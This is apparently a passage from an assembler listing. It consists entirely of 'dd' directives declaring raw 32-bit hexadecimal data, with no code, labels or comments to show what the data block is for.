dd 0E82F441Ah, 0B64800B1h, 2A85CD76h, 0CF0124F1h, 425B17C3h
dd 0EC7113C7h, 7B0DC8h, 344CFECEh, 560F2A66h, 48189F38h
dd 0F71B0330h, 0D893FDB1h, 7CECD53Dh, 7D071DEDh, 0F4DDC057h
dd 51C940B6h, 65320A1Ch, 0DEBCB9C0h, 0F22F2086h, 5BF13B15h
dd 50586F80h, 22783562h, 0D8597A01h, 907F8BD3h, 9031E9FCh
dd 0FE4BF084h, 417C0140h, 43BA6682h, 4010318Ah, 0D39E59A8h
dd 8F02C2E6h, 0E10CE330h, 3EC48042h, 0F122F4h, 7B181B87h
dd 1082484Ch, 1DB3E800h, 885DB7BEh, 375EAC8h, 5345A256h
dd 0D9E0E494h, 1600E715h, 52CF0A7Dh, 5F5947h, 79F5105h
dd 337B71E4h, 0BFBBE702h, 602E3F2Dh, 0E54924h, 9C21B4B3h
dd 1D79221Ah, 8852A90Eh, 81D96080h, 1C45A132h, 0CE06BB5Ch
dd 0DB400E95h, 0BE2C9AC3h, 0CDE9A300h, 0D463880Fh, 4340104Dh
dd 25E308AFh, 0E1A2E18Bh, 2F94D89Bh, 6F17D518h, 8ECF19h
dd 0BCCA8A25h, 75A62641h, 28A70702h, 0A0367722h, 0C18E96A4h
dd 0E00300B7h, 0B0800B59h, 0FE008CE2h, 0A90E6935h, 7C1AADAh
dd 0B65CBC33h, 0DB440087h, 0E1E68671h, 5A9EF01h, 8A672F17h
dd 9051E9ECh, 0F01604E4h, 8203AB73h, 0BC408F14h, 3C07A2BFh
dd 0F196F79Ch, 7D7A5700h, 0A0DD0C6Bh, 499042ECh, 0F6CC8F07h
dd 0EE208F8h, 0AECC404Dh, 0C8A9005Ch, 0A68F0A1Ch, 0AD09AB7Ch
dd 80548A22h, 5CB6F208h, 67101h, 657ED746h, 21F5CD87h
dd 0E859F000h, 0D670B1E3h, 930F0040h, 4AB6D330h, 0EEEA8C8Ah
dd 0A1E938h, 0FBA0E280h, 0E80BEDF1h, 1B8D00A7h, 0FD5A7752h
dd 0C2003B62h, 2ECEF7Ch, 0D34207h, 5D976D7Ah, 73C051E5h
dd 0A899CF00h, 0C5E40852h, 502F0B9h, 0D0E95A1Ah, 0EC8C0753h
dd 30008963h, 0FAACB2E5h, 3D644F00h, 0B4BDC58Ah, 29500032h
dd 892CA602h, 7C30D92Ah, 0E0EFB835h, 7E8B84Dh, 8077F13Eh
dd 0A1A46E3Dh, 10CC0F3h, 875442E6h, 5E000CB4h, 0F82C203Bh
dd 0FADE0B81h, 4A31148Fh, 9F11D466h, 0F2E005Bh, 0B7F73746h
dd 557F096Ah, 64072B8Bh, 44087083h, 0C1002691h, 60F699D2h
dd 1F86876h, 69345EB8h, 0BEDD759Ah, 4758F648h, 0D0F60FF7h
dd 21462006h, 0BE8696h, 410DFEB8h, 53ABCD36h, 77A6C400h
dd 0E3035239h, 0B1AE0014h, 1C3D446Eh, 27092195h, 80FE4FB8h
dd 0A5A1B995h, 7B820090h, 0CB319F30h, 0F9003ED0h, 74BD56B6h
dd 0BFE7DB8h, 4AD584F2h, 69D1BF80h, 0EF009482h, 5CD35EE1h
dd 91088EDh, 0BA3D4884h, 0D09E9007h, 7326F214h, 80651A06h
dd 0FCF827B5h, 98EB304Ch, 6273F2D9h, 0BA8F19C0h, 0B43B80Bh
dd 9BFBB48Ch, 0C03B1C20h, 6924E4D7h, 0EB0F5007h, 0A11C40CDh
dd 1E6D65D4h, 0F85BA0FEh, 85C60900h, 0E9F16126h, 87007C7Bh
dd 988320CEh, 2FEB9Bh, 0A73AFBC3h, 0CA5176D2h, 0D36E2301h
dd 597B52D9h, 1ED19EF4h, 8055946Bh, 42BD5AACh, 494CE916h
dd 0B4701F4Ch, 4C9090A8h, 0A15B2C12h, 0B5C00318h, 61D81851h
dd 0E2ED20CAh, 1F0E5900h, 8576FC92h, 57E1DAAh, 576F8030h
dd 0ECDA80EFh, 565D7800h, 0A54AF28Dh, 664300E1h, 6A39F83Fh
dd 4C98AD1Fh, 7779BF00h, 0B635F765h, 0D72000DFh, 2EBC4B28h
dd 5900029Dh, 18511ABBh, 70D8212h, 4DB85629h, 10C18009h
dd 0AA3FC2EBh, 779580EEh, 0F29259A6h, 0F7AF00B4h, 0EB28634Eh
dd 0B507178Eh, 5705E215h, 0D000AD25h, 827CBFBh, 0B934130Bh
dd 96F80047h, 4A06BECCh, 70A07703h, 0A899AF2Fh, 2CE7EB8h
dd 3ACF177Dh, 5863E7B2h, 0FD04900h, 0B9386FF4h, 9EF8000Eh
dd 6E49FE04h, 0C072D691h, 5E076C00h, 1675207Ah, 98AF7580h
dd 7FDB0140h, 0EC47B631h, 0E8DD61B5h, 5EE9657h, 4D12CC90h
dd 1C309ED4h, 0E2B0EAEEh, 83CE00F0h, 0E18A32Bh, 0AB00CAF9h
dd 0A68ED278h, 90A14AD0h, 0F37870h, 0EAC5EE3Ah, 75122593h
dd 0FFB42C00h, 1F71B284h, 4E2100DDh, 46387944h, 0BD00080Eh
dd 0EF14DACCh, 246ED816h, 0AA41B5Ch, 0F2E29Eh, 0CE07597Ch
dd 79E21633h, 0DCA94730h, 0BF3893h, 0C7F41D26h, 311B0641h
dd 9DED300h, 9CE8BA07h, 3CF8A045h, 132A7FEBh, 553FE7Ch
dd 9CCDCh, 0EFA7BDE4h, 2C017465h, 0AB46D3D0h, 0CACCE09Ch
dd 0A4295804h, 0BD00FD3Bh, 0FC8EDF33h, 2D48B3C0h, 0C6252E50h
dd 78D00Eh, 89535EBBh, 82CE001Dh, 5B76F32Ch, 0E70758AEh
dd 3FAA1F4Bh, 8F396AA0h, 0A0E6000Ch, 7275FA1Ch, 0CF03D992h
dd 0AF1FE847h, 4FB000AEh, 0B45720CAh, 864AEB6Eh, 0C826AC0Ch
dd 0B0374C7Ah, 80115F1Dh, 688710E1h, 1A0BD503h, 0AFB2A20Bh
dd 0BD48E230h, 8054CA0Fh, 37FF3DB4h, 8DB818C8h, 0F04019DFh
dd 4DCD2200h, 46C0FB84h, 72D90E2Bh, 2EC0A3A5h, 0BDD68B43h
dd 0DC0A1D00h, 8F554E9h, 4444ABAh, 90CA88D8h, 0A55D3668h
dd 0CFA85906h, 4838C8h, 6AFF4A84h, 8AB9F906h, 26E92000h
dd 897ABC19h, 478C37F8h, 627D1060h, 6F39F964h, 29480B4h
dd 0AF4AE935h, 74BB2CEBh, 3DA600DAh, 82BF23D8h, 0C14E513h
dd 15AF7800h, 9FB9C7h, 249A7B1h, 0F10E99A1h, 8B2CF900h
dd 0CAEC695h, 11476714h, 0EA1C10AAh, 0B4B0EC0Eh, 76F89000h
dd 86069375h, 417A0112h, 0A2F3D213h, 3960F6E4h, 0EC00CD04h
dd 0D3C7F20Ah, 74DD823h, 996CDC2Eh, 7D00A48h, 0D5707AE8h
dd 1319801Ch, 0B8FE14B5h, 0D132FC00h, 73A3A644h, 461E3F1Dh
dd 0AFC99487h, 238C300Bh, 4F790314h, 6A08607h, 0A5201A1Ch
dd 4772A7h, 896AA2D3h, 74F1226Eh, 56D05D03h, 0B08A79ACh
dd 14DBC64Ah, 8858E947h, 0F3E850h, 4C0B7513h, 0DDF7E177h
dd 2D7D0979h, 0AA002D98h, 23604A2h, 0C34770h, 48D2CEB7h
dd 0FA4E5A61h, 0A701A9F2h, 2BD32A60h, 40FE08DAh, 751ADC8h
dd 7FC83BC1h, 251AC322h, 0EF7D86A0h, 0FA069F00h, 0EE45FC31h
dd 0A24900AFh, 75C029DBh
dd 0E1138D7Ah, 0B84064B0h, 22EB6B57h, 67900017h, 0C02C1969h
dd 0CC007E8Eh, 0CC8994Eh, 99A34h, 0F05E7A59h, 0A9887DEBh
dd 0C1004FF0h, 9E89FD99h, 7E363h, 32CF184Dh, 0F1F408F6h
dd 254CA848h, 0ACE0806Eh, 0A814BB4h, 356D8029h, 0E59F00D4h
dd 82246C9Bh, 4E00547Eh, 0BE9CCED8h, 2F744A6h, 63A05BC3h
dd 26C1AA77h, 24CC7040h, 1DB4C00h, 0CB4E83F3h, 0AD453E66h
dd 69007A5Ch, 0E587C056h, 0FD0EE13Ah, 0C0421120h, 15220577h
dd 1EB70546h, 0C151FC75h, 31580D84h, 0CD08DC50h, 74ADCBA1h
dd 80A13028h, 0E7A8DF2Ch, 0FE242F68h, 0CD807408h, 0E5E83FA9h
dd 0F137948h, 8675C13Dh, 0E0B74A0h, 0B002E645h, 0C2E793BFh
dd 91C2C160h, 2EAEB4D8h, 80DC7BF8h, 5FB7BCCAh, 972607A0h
dd 37003899h, 0B854F8E2h, 0B0961Eh, 0A9E7FA75h, 17EC271h
dd 0E936F200h, 46540340h, 0C7100B0Bh, 0E0B876A2h, 0F8EB9F34h
dd 0D41CB45Bh, 0C505ECEDh, 7485430Ah, 0E553D8D0h, 455000D8h
dd 0F11A301Eh, 6F12D366h, 0EA9587h, 0DBC1C993h, 641FF23Eh
dd 7D404171h, 0D675C407h, 9B6500A3h, 0F3A83A91h, 34025FB5h
dd 45104C4Dh, 0B7336030h, 6971ABh, 0ED2A806Bh, 945774EEh
dd 19F37101h, 0D7F9538Fh, 24C6D341h, 239F560h, 2B79B498h
dd 15DE5244h, 0C88A309h, 19B5CC2h, 0DCEDD73h, 82BE0C44h
dd 3565140h, 0FF846801h, 0C7330085h, 43324DBBh, 0DE00CE26h
dd 5F4ED2C1h, 0CD5140h, 4CBAC0E1h, 0F1354231h, 18C4B528h
dd 0B9113760h, 14523473h, 0FCE8965Eh, 0AFD0D63Dh, 11C664F3h
dd 175704E4h, 93850052h, 90DB451Ch, 0A3009CB8h, 6533050Eh
dd 0E35037Bh, 9C2C2104h, 0B5E76642h, 0DD142848h, 54D26B00h
dd 0EB53DE2Bh, 3B8203E2h, 0D48E3033h, 7BD6590Eh, 0E8AC6CABh
dd 9B2E2E16h, 0A107BCD0h, 37267329h, 0AD234072h, 0D000ACC1h
dd 86A60789h, 0F1A434h, 314E90D1h, 92012058h, 2B0048F8h
dd 0C045965h, 2738E609h, 0A3D88E2Eh, 0CAC7D313h, 0E0865E00h
dd 44EDB2h, 0BA56B32Dh, 926D9DC9h, 0BBFA2200h, 63AEEA2Ah
dd 7ADA07B0h, 0D0D73306h, 49082042h, 3F13CC04h, 1CB05EDEh
dd 0DFA80E7Ah, 0B600988Ah, 1E0FB869h, 53BF580Bh, 1B587FAh
dd 6999620h, 317B0718h, 0E06E485Bh, 3B506AD8h, 0DE30B098h
dd 47B75154h, 5CE2002Ah, 0B96D036Fh, 0D600C65Ah, 58605B32h
dd 952251h, 2A8EB28Ah, 1F57EC83h, 8DA49D04h, 1C907E39h
dd 0A350716h, 0DCD92522h, 690380CCh, 6BD8B502h, 8CE37E3Eh
dd 10EDAC15h, 453931A3h, 406FE82Ah, 0FD79F8CCh, 31585708h
dd 2B96802Fh, 933DA545h, 32B90F3Dh, 720B7129h, 0F1D6A178h
dd 0FC95C06Ah, 19CF58DEh, 94CE278Ah, 0EDF336F7h, 0DDA6F0FAh
dd 7F190015h, 2A390E5Bh, 0D6482E66h, 0FF990086h, 0E1B584C9h
dd 72AFF2ADh, 0A9D300B6h, 0E0252986h, 52EC389Dh, 0AB014900h
dd 27C08478h, 2810CA53h, 565504h, 0BFEA1043h, 0E15F3C99h
dd 93AB100h, 0B07447A5h, 7D7201B2h, 369BD1A9h, 7FB4E0EAh
dd 7EE8B3F0h, 96BF040Fh, 80BD8927h, 0B0B95DD5h, 0A0AB0020h
dd 0B8072397h, 5F743286h, 4B3D9A00h, 926AFD5h, 1E631FD3h
dd 539909EAh, 31812783h, 2188D7C0h, 83B2FF05h, 5820EE1Dh
dd 90EBD3BAh, 7C7DF660h, 38E13CAEh, 0EB34501h, 0F409E5ADh
dd 0DC01BA50h, 453FD14h, 29889C66h, 3688471Bh, 84689006h
dd 0DF489965h, 2808DA45h, 973142A4h, 1B211324h, 107012D8h
dd 0D7898115h, 6144F608h, 0D122842Ch, 11CB4282h, 847B314Bh
dd 42806222h, 323F11CFh, 3E083421h, 4683887Eh, 0B8352688h
dd 0A7CE1142h, 22148728h, 0FC42CA03h, 22A62711h, 9575007Bh
dd 4D0163D0h, 0C900DACCh, 9130C025h, 6C8198h, 0C6D87318h
dd 6D5E0D36h, 0AD9F2600h, 1121EE34h, 4D631CDBh, 942CC05Ch
dd 4CD36EB5h, 50278505h, 78C06B15h, 0E2661D38h, 960B1C82h
dd 8CE60042h, 212B9488h, 8E005075h, 6B39E45Bh, 0FE7975h
dd 85620668h, 49FFDC14h, 382ED000h, 67BF9C84h, 24F04926h
dd 9F324F00h, 77EFF29Bh, 66BCF00h, 0EB02A679h, 11AA0317h
dd 6E51BACCh, 0B63210A0h, 843F70C0h, 5E85F0h, 0B739694Fh
dd 0BF177B02h, 89B3E200h, 7F7180EBh, 0DF8B003Ch, 148ACE6h
dd 0F3E4F507h, 7812F200h, 1C8C945Eh, 0DD0A3EBBh, 4F142A80h
dd 952B62D9h, 0F63CAB00h, 2827CC3Eh, 124801C6h, 0BFD5ACCEh
dd 86F2C00Fh, 17AD3101h, 600BEC29h, 0C9DB2880h, 0E841CE98h
dd 180763E4h, 0A1EEB9BEh, 753DDE00h, 0B8B183Fh, 0E24DE8F5h
dd 9AEB3900h, 25C4EFA2h, 1ED60EDAh, 33C08457h, 51A91048h
dd 9E4F9100h, 5613F78Ch, 73703D6Eh, 0A35B6801h, 201FE8FFh
dd 0E600D2C8h, 4B093389h, 6029D7h, 0C6DD7984h, 3228860Fh
dd 25D34707h, 90F08817h, 170F806h, 98807F59h, 0FD46A893h
dd 0D8FBC196h, 74009933h, 8E066EBEh, 366C6B6h, 0DE2D67AEh
dd 0F0D8F2E7h, 0BF052FF1h, 34E98798h, 5300A812h, 0F889DB4h
dd 0B5A600AFh, 916E854Dh, 79F21FF5h, 0DFF85E50h, 0BAEBCF00h
dd 78BCB636h, 0EC9450D0h, 4A9106CCh, 109674B7h, 369C6102h
dd 4045E415h, 896B051Ch, 61243082h, 0FAC34200h, 2CE98C9Dh
dd 0E7100DBh, 0CBA28768h, 5E03A637h, 8E731AC9h, 6594D86Ch
dd 484F00BAh, 86570E82h, 0B872831Dh, 4AF8800h, 28C9FA38h
dd 0EACA00B6h, 0D69FAD32h, 2060F912h, 0DB145D11h, 0A3490448h
dd 0A8E5B26Bh, 0CACF0042h, 0C49A5508h, 747035h, 83031A0Ch
dd 2FBB908Eh, 56574E00h, 8F8CEE13h, 0CDF10098h, 67999AA2h
dd 1B00CE4Bh, 49166530h, 0E58C06h, 5F48D22Fh, 7B93DA03h
dd 71BF1E07h, 0E0707DDBh, 751B7256h, 0A41800E7h, 9FA7DE86h
dd 0EF0A52C4h, 94125CAAh, 24720E03h, 0F8B9DBD8h, 3F02F85Fh
dd 790029F5h, 0C3AFDB21h, 7300639Bh, 43BC8506h, 31FFD6h
dd 6B54CAE4h, 0B681C630h, 7805900h, 3F98C2D9h, 55702Fh
dd 3AEF3D3Eh, 4F351DE2h, 0E1605C0Eh, 0E961E053h, 3F7CE6Ch
dd 0A854F39Eh, 6E88B8DCh, 18003E2Dh, 937548F6h, 3CF36502h
dd 4B80C5D3h, 268EE7D2h, 0B75C01Fh, 0C87F2814h, 893D0EE8h
dd 9C37C00Ch, 969515Eh, 5CA2F98Bh, 23621D80h, 6EE885BAh
dd 0EA0013F8h, 96BC6AECh, 24D156D4h, 29205F2h, 46998519h
dd 0DCCF88h, 0A4816953h, 0E73830E6h, 58A002C2h, 80DE8B6Ch
dd 1A2685C0h, 61B1E8Dh, 0C979C93Eh, 283D24A1h, 0DCF8D4ECh
dd 24D54B48h, 0F71DE8DBh, 6557F580h, 2D3662h, 8BE50544h
dd 0C08FDF89h, 8ACADE00h, 0F1B8C977h, 0E1D23CB1h, 78A20070h
dd 0CD028038h, 1C002D39h, 0B27C4DC2h, 7D44B6Bh, 70AA8CE9h
dd 0A0223756h, 17169387h, 59E4BCB0h, 0DCCCE20Fh, 971AE0EEh
dd 7BC7488h, 0C9F55C8Ah, 167EF089h, 9600ADBAh, 495B4BCDh
dd 1B045A4h, 0EDFD1813h, 0E4B5F79Ah, 0CA00CD01h, 0E5B61AEFh
dd 27509C5h, 0BC4EBD42h, 78608264h, 0FF00A079h, 1CD4F93Ah
dd 0BB990C4h, 0A39D172Eh, 3307D176h, 8009A4B6h, 2062528Ch
dd 65B30750h, 0A72A9DD0h, 90BE6783h, 57971988h, 0B6D33700h
dd 4FE6ED4Dh, 9C5C0675h, 70838603h, 74BBC3Dh, 1780492h
dd 9D6A70C0h, 6CB8A0D4h, 0C24500B7h, 9EE2D0F5h, 9000DD2Bh
dd 0C9E8738Bh, 0F36C1Eh, 43B0999Ch, 104CBDD0h, 390096F0h
dd 0A09E4850h, 778DBC51h, 80674F8Eh, 0FA90CA2h, 8F2B2139h
dd 0A0B1490Dh, 0DACBA730h
dd 14051620h, 0D0168Dh, 3D593C80h, 3300D8AFh, 0E85D06F6h
dd 287C71h, 0DBA83A5Ch, 0F702F237h, 211C4A07h, 0C810D4E7h
dd 7FCB7CB4h, 0AB89009Fh, 9CD2BD27h, 8F2C6AAAh, 5902BC58h
dd 3F03C2Dh, 9690AEB5h, 0CF39E068h, 0F824A6B9h, 810EDA00h
dd 5873313Bh, 0AC09082Fh, 0BC208571h, 2B6F3A90h, 601F8D09h
dd 2C068E21h, 0A098D048h, 1ED093h, 14082E3Dh, 4C8194A0h
dd 9F8A34Ch, 90AE8E66h, 0BFE9FB0h, 0B3487E35h, 459A5C20h
dd 1D00ADCFh, 67F1FB91h, 61D9D7h, 0B4BCEE0Fh, 1B51092Eh
dd 6AEF5F15h, 38A82EF4h, 0DE06803Dh, 1ED46C7Ch, 1B86006Dh
dd 0E2B512D1h, 8D16A69Bh, 24005163h, 0F928BA9Fh, 1B3C0019h
dd 9154F779h, 0D400AAA3h, 26B38540h, 7B2CAE28h, 841E00CBh
dd 97DD0957h, 0E4128C70h, 0DB00D685h, 0AECB9F3Bh, 0C70E002Eh
dd 0EC2463B9h, 0B000737Eh, 87C559DFh, 488219h, 0B1F0D0E7h
dd 0E97A665Ch, 7980103h, 0E14259A5h, 3464C2D3h, 72D500EAh
dd 76F8496Bh, 1E00F4BEh, 0CF76CDAh, 7301F93h, 97BF22E2h
dd 602010CCh, 0FB0FE5B3h, 0E021A6C0h, 2A8E54F0h, 476C2402h
dd 0B5580024h, 6FE48370h, 0A9FAEC00h, 7450E0C4h, 0FCA158B8h
dd 6C16E680h, 0DDB04DFEh, 0D00114E6h, 43BB3101h, 0CCCFAADh
dd 128EF4F6h, 0DC5386h, 18097524h, 64BA2F07h, 93BF063Ch
dd 0AC00D2A2h, 0D97732ECh, 10C26108h, 0BF2C2F31h, 1170428h
dd 1403D1C9h, 30B30F3Ah, 0CC43901h, 0B6CE81F9h, 8F84C20h
dd 2354E1C7h, 4CA7873Ch, 94A0CD84h, 155243Ah, 0D39AF33Dh
dd 20F66D4Ah, 0AB0066D3h, 0DA01EEF4h, 3473B24h, 4C5DE933h
dd 57A8AF6Ch, 133D3AC4h, 0A2AD1283h, 7CC04C1Ch, 0FBAF4D33h
dd 1AD100DEh, 1DF711CAh, 18B89163h, 0A224E500h, 5897F61Bh
dd 880D00C4h, 7472BB75h, 0F500370Ah, 55656FEFh, 0C0368C02h
dd 24703EB0h, 0A900958Ah, 0DFCC8373h, 24223896h, 7A62159h
dd 0E06F4FA5h, 62B64429h, 0FC939901h, 423423DBh, 0FCFE8C9h
dd 0E58BCBB9h, 601AB119h, 0AC4C4DD7h, 7668498Ah, 24745B01h
dd 417F0397h, 47363880h, 894B382Eh, 9CAA762Eh, 0D9579880h
dd 0CCE8375h, 4AE1F320h, 0D51301B0h, 0C85D378Ch, 0C4FA5140h
dd 750CDAFh, 2834B11h, 54CA0FBh, 4705D168h, 124F6A48h
dd 457B1882h, 7628ECh, 9B5F82B5h, 9E0E6EB2h, 0FF116D00h
dd 0C5D7D1ABh, 6715266Fh, 0BC3F00E4h, 0C7756082h, 0D159B807h
dd 6F602DCDh, 0D31525h, 2EAB430Ah, 0FBB3844Eh, 9B116000h
dd 0E9BD88FDh, 1E7AF0EAh, 0D74658C7h, 6FA8005Ah, 0F2DD4986h
dd 6A00C094h, 0CC4D15C6h, 75FA0537h, 870EDC9Eh, 352CF110h
dd 13AEC845h, 58959B0Ch, 88B098h, 0BDA63855h, 624A9104h
dd 903C98h, 80F9593Dh, 330AA4F1h, 0B5C85EBh, 4B4A5FC9h
dd 0D75B9080h, 893EC369h, 472B006Ch, 96ABE366h, 0E9702E1h
dd 0F1AD176Ah, 31CA08E0h, 255A7D00h, 0A3A547ECh, 0AEF90006h
dd 4DC0FDCFh, 0A13DD427h, 4D88F68h, 5A81BE58h, 0A4893E40h
dd 3F7C3230h, 30095DF3h, 5800DCD6h, 883B01FFh, 2A56000h
dd 0B7725505h, 0F28426EBh, 749E003Dh, 32AB2465h, 5D0B2501h
dd 4DD31E01h, 1822D20h, 0FEEB209Ah, 0F07EF5F7h, 0E0906E4Eh
dd 0BC0C5572h, 106ABD78h, 14760046h, 77E98BA3h, 9F006C87h
dd 0D464349Ah, 0AA5B744h, 0B0406A75h, 802B1EA8h, 0C1E10C61h
dd 0AB0094F5h, 0FBF9271h, 0CFAD35h, 0E917C2D9h, 0DBA35508h
dd 0D5985918h, 1235C6D0h, 13DA0E5h, 5BB1995Fh, 0F281F097h
dd 23002479h, 0FA01ECA5h, 50B730BBh, 1989885h, 0A8935F63h
dd 20CB824Eh, 5724F9C0h, 3F397F6Ch, 0AD2C017Bh, 5638534Bh
dd 0BB0E7880h, 64621113h, 0B6009973h, 6B016FAh, 0B8F8B8C1h
dd 712800D4h, 1446BB42h, 25009B85h, 0B33CFF7Fh, 0A2C3AEh
dd 4AC02B40h, 0BDD162D4h, 8278500Fh, 4400960Eh, 1AD6F73Bh
dd 6CEB0125h, 65BC4A22h, 309C40F4h, 7B704745h, 24DC1600h
dd 0D6C96069h, 2E2C923Ch, 0A147717h, 3BC0D1AEh, 82E5A380h
dd 72B64DCFh, 0B9A9B412h, 449FF440h, 50F06DDCh, 1693989Ch
dd 317D23Bh, 0A2654E98h, 0AC3053E8h, 97524C12h, 0BA13FC40h
dd 53651014h, 0D8018067h, 78B8C95Fh, 44DE1249h, 0C0792064h
dd 20D5498h, 10BF4EB1h, 6100582Ch, 0AEE31CE2h, 0A300DB55h
dd 0FAB42527h, 0B0EABB2Ah, 0A91926A5h, 0E99D8540h, 38C8C005h
dd 1CFE6A8Ah, 0B480BA04h, 480715Ch, 38F95BFh, 6D1A2947h
dd 0B6A87883h, 1C06D039h, 7320E032h, 22F10028h, 0CB4E0262h
dd 0C4F4CADDh, 846B6100h, 0BC47CDA5h, 0E8D00123h, 0C756458Fh
dd 6CF04190h, 9DE1807Fh, 650F68E1h, 0D3690016h, 34CFCDB6h
dd 4660C90Ah, 0D23EA511h, 0E5620982h, 3408C063h, 32C107BCh
dd 0B81C4105h, 3AFE20B9h, 0EF87E1C7h, 36157CD0h, 0D89615F6h
dd 1A07EC13h, 0B057BF40h, 0C6FC538Bh, 84F88200h, 0F24F7FB9h
dd 2C4BE846h, 994D05Fh, 3B80AA1Eh, 2C55FC18h, 602B9100h
dd 0B2CC82DAh, 813D17A7h, 0A26403D8h, 67EF745Dh, 0E3FD12Ah
dd 55FD70E3h, 62C9D706h, 2480E2AAh, 512C74BBh, 0CDC52E4h
dd 5E972360h, 0C54B9400h, 41DBB549h, 52E1000Fh, 0E336FED5h
dd 0D0009083h, 4F025B86h, 7537A8ACh, 6CDD48EDh, 539B6280h
dd 4D5043A9h, 6891C97Ch, 1BE4A06Eh, 508613h, 0EB552388h
dd 0C504AFE3h, 1A45248h, 418725F5h, 78E48327h, 0D16C00E5h
dd 8A67B976h, 0E8E613DCh, 0A9B62204h, 188098C3h, 0F2A2B345h
dd 50EE906Fh, 3EC5C851h, 218094A1h, 39045289h, 2D004EC3h
dd 0BD402C3Fh, 5E4801h, 0ED72112Eh, 81DBFE2h, 4F686219h
dd 2DFCAF88h, 3B380034h, 0BCD9A677h, 55038B22h, 0F7F65FD0h
dd 0D3E9021Fh, 78C026C4h, 0C8CF6B61h, 4F50DA9Dh, 1607C3D8h
dd 0EB140FCEh, 0C491F584h, 18201E07h, 9A6601FBh, 0FDA2963h
dd 5827D086h, 4A6F3C00h, 78E3FF76h, 42C908Eh, 9130167Dh
dd 107CB022h, 0C642BF0Bh, 0E004E3F7h, 68D1B7h, 31509BF3h
dd 0E1A2F0DEh, 47146D02h, 483E6175h, 4C7E8F30h, 8B1C2937h
dd 1A3240EDh, 0CC2C94F4h, 0F30B5492h, 0A008C5EBh, 932938DCh
dd 60A5FE07h, 0F5B39088h, 0CF164136h, 5706D9A2h, 7103719h
dd 8D238C81h, 1AE9301Fh, 580EAD9Eh, 123A59FBh, 95FE0AFAh
dd 9B800FCh, 8002942Bh, 0FD6F4C00h, 55675DD3h, 36710018h
dd 13F2E63Ah, 2A38C624h, 3E4D8EDEh, 5C636531h, 0FA4480C0h
dd 0F4160BC8h, 3C0FB677h, 0FF182F43h, 3717C384h, 4DC086EBh
dd 2603700Bh, 9CA36089h, 607C17h, 9FEB0DD0h, 80F27FC6h
dd 6E7EDE00h, 20637649h, 74A8006Dh, 24BFD1A0h, 0DA4C30ACh
dd 0E79C3EC1h, 52B06021h, 0B0694A29h, 0B9D00088h, 81C89AEh
dd 0F27827E6h, 0A31BE500h, 0C8B0110Fh, 7B5000AFh, 0FF0E66ADh
dd 0FA00E406h, 0CBCF44F1h, 34C4E6h, 2BA08CF0h, 826A95AFh
dd 20C30B1Ch, 0AC67C940h, 29CCC6h, 4BE9513Ch, 19915539h
dd 0F633D602h, 0D571AC69h, 6D7E0F80h, 5D146E4Bh, 0CC0A46h
dd 53DD81D2h, 0B8F0132Fh, 0A11900ABh, 92D67704h, 7C00CBE4h
dd 0DB0FBCF9h, 0DE3C24h, 5E268EB4h, 9E7A8749h, 0E2011C74h
dd 0C6218A6Bh, 0D1F436D4h, 0EF6F008Eh, 0DD821D38h, 94917569h
dd 0FCF4003Dh, 533715B0h, 1CE50097h, 6D298C7Ch, 8524015Ch
dd 0DD84A46Bh, 3804497Ah, 44CCC3DCh, 0A0ED4800h, 539DC107h
dd 7C81596Fh, 0F5617F00h
dd 39F2AC77h, 0EB851C00h, 9B344235h, 31940512h, 0E5223FB6h
dd 0A47714h, 0E4F41048h, 14E735h, 0E0DFC868h, 28EC029Ah
dd 9F84FD03h, 0E018CC95h, 0B0A97762h, 0A54D0969h, 6881CF8Eh
dd 7037BA72h, 0BF04CC50h, 0D76C8C3Ah, 70E9EC90h, 40070F3Bh
dd 426156BAh, 0F8AF23B8h, 14041916h, 0C0F1213Ah, 0E9CBAC80h
dd 0A80C6E98h, 477E121Fh, 0ACB8D0h, 0F90B9DF3h, 0F8D42A24h
dd 609B6400h, 0F0698E41h, 0E1C82503h, 0F729B483h, 0CF1460CFh
dd 0E609FD5Dh, 0A078E564h, 304CC714h, 7A8BAC8h, 29D63CB3h
dd 37175015h, 0E200EEF2h, 4F6E8B68h, 6AD94994h, 7B10E1h
dd 5CF5893Ch, 5B0E7BA6h, 1858C07Eh, 4421ADB0h, 5EAB5ABh
dd 6FEB560Bh, 0FAD0032Ch, 0FB9CB8F8h, 1EBA02DEh, 0C7AD0D88h
dd 26D01CE0h, 9911700h, 73E418CDh, 443D0140h, 0E254C370h
dd 8B0ED0A0h, 91787400h, 23FD0D4h, 868E1FB8h, 382A8046h
dd 220B7142h, 6896E21Dh, 7054A8C2h, 4A84603Ch, 0E610008Bh
dd 9EB8D5A1h, 0C1013B18h, 6D887E57h, 0B4DCAAE0h, 108F009Ah
dd 40BE1DB2h, 170E63DFh, 0E4786107h, 50C08EBBh, 0E73756h
dd 6EABBA31h, 411FD606h, 0A59C6600h, 0DF228116h, 8D17015Ch
dd 1C0E96E9h, 945660B6h, 71EDE700h, 36BC311Ah, 40BA6FA1h
dd 874B3BC0h, 84005BF1h, 617EE02Bh, 1F2ACC31h, 80663FAFh
dd 2DB4CA77h, 0B61E7FEEh, 32C0BC26h, 0A8398C55h, 0B2E7EE45h
dd 1EABE6DCh, 0C034EBFBh, 4C7DBE2Dh, 5E00A753h, 0CA3D5D08h
dd 182FFACh, 5CFEA1A5h, 205F4854h, 99727CB4h, 80156F2Fh
dd 0AC2A9DF0h, 9C65003Ch, 771C687Dh, 3A0FC234h, 0E0615A09h
dd 0F208199Ah, 0DF0D3F3Dh, 67E8498Eh, 6AE19000h, 0B4004FA7h
dd 6F195027h, 0F838F2FCh, 49D300EBh, 4135B639h, 0B4F66A4Eh
dd 0E33F3604h, 148065CCh, 31AD24h, 0E48471D7h, 0EF053414h
dd 1807E907h, 0C2B33CA7h, 192D9038h, 35040FBAh, 0B2A07422h
dd 0A4CD20BDh, 0AA06A61Fh, 86D2B8C0h, 51B3EEh, 0B7AC0A91h
dd 1E63ADCAh, 0E5C95300h, 0E43ECE5Bh, 0F490A0DDh, 42810021h
dd 55382025h, 86033A17h, 896FB419h, 0D65A8857h, 8670085h
dd 2A14F90Ah, 5600E420h, 96ED1361h, 12DF0F90h, 4EB489h
dd 2C48363Ch, 820B6D22h, 48C4DB7Bh, 2971A8h, 777E968Fh
dd 4D514B87h, 817ADE03h, 0C8D3249Bh, 0C2A3Ch, 64B44A10h
dd 0FD23F397h, 1C90AAF0h, 0D5C10213h, 25D6C090h, 30677B43h
dd 9D5460DEh, 3800C5F7h, 0F093698Fh, 0E65CD7C8h, 79550008h
dd 0F4428391h, 6C005020h, 0CC02C171h, 5F4A03h, 0D8A5BA14h
dd 0DEE75BFh, 7FFF1A1Ch, 5B3EA787h, 9080B624h, 98C3E933h
